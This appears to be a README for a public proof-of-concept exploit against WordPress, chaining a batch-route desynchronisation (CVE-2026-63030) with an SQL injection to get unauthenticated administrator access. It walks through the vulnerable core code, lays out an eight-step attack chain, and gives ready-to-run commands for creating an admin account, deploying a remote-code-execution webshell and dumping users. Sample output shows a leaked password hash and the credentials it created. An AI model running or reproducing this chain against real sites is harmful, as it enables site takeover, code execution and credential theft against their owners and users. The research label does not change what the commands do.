CVE-2026-63030

// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SAUTE $matches[] — désynchronisation d'un index
}

// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // UNIQUEMENT si tableau
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalaire passe brut
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // INJECTION SQL
}

[1] Désynchronisation batch → contournement des vérifications d'authentification et de paramètres
[2] UNION SELECT → forge de 7 faux objets WP_Post dans le cache
    ├─ Déclencheur de post — shortcode [embed]
    ├─ Post de changeset  — post_type=customize_changeset, post_status=future
    ├─ Partenaire externe — post_parent=changeset (Boucle 1)
    ├─ Cible oEmbed      — sauvegarde du cache
    ├─ Élément de menu   — post_type=nav_menu_item
    ├─ Post de requête   — post_type=request, post_status=parse (Boucle 2)
    └─ Partenaire interne — post_parent=request
[3] Traitement oEmbed → wp_update_post() → détection de cycle de hiérarchie
[4] Correction boucle 1 → écrit le changeset en base sans écraser post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Correction boucle 2 → écrit le post de requête → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch rejoué en tant qu'ADMIN
[8] POST /wp/v2/users → création d'un administrateur

git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # ou : rien — stdlib uniquement

# Chaîne complète — créer un compte administrateur (sans authentification)
python3 cve_2026_63030.py --url https://target.com

# Vérification uniquement (non destructrice — vérifier la vulnérabilité)
python3 cve_2026_63030.py --url https://target.com --check

# Chaîne complète + déploiement d'un webshell RCE
python3 cve_2026_63030.py --url https://target.com --rce id

# Extraire tous les utilisateurs via UNION
python3 cve_2026_63030.py --url https://target.com --dump-users

+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi — database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php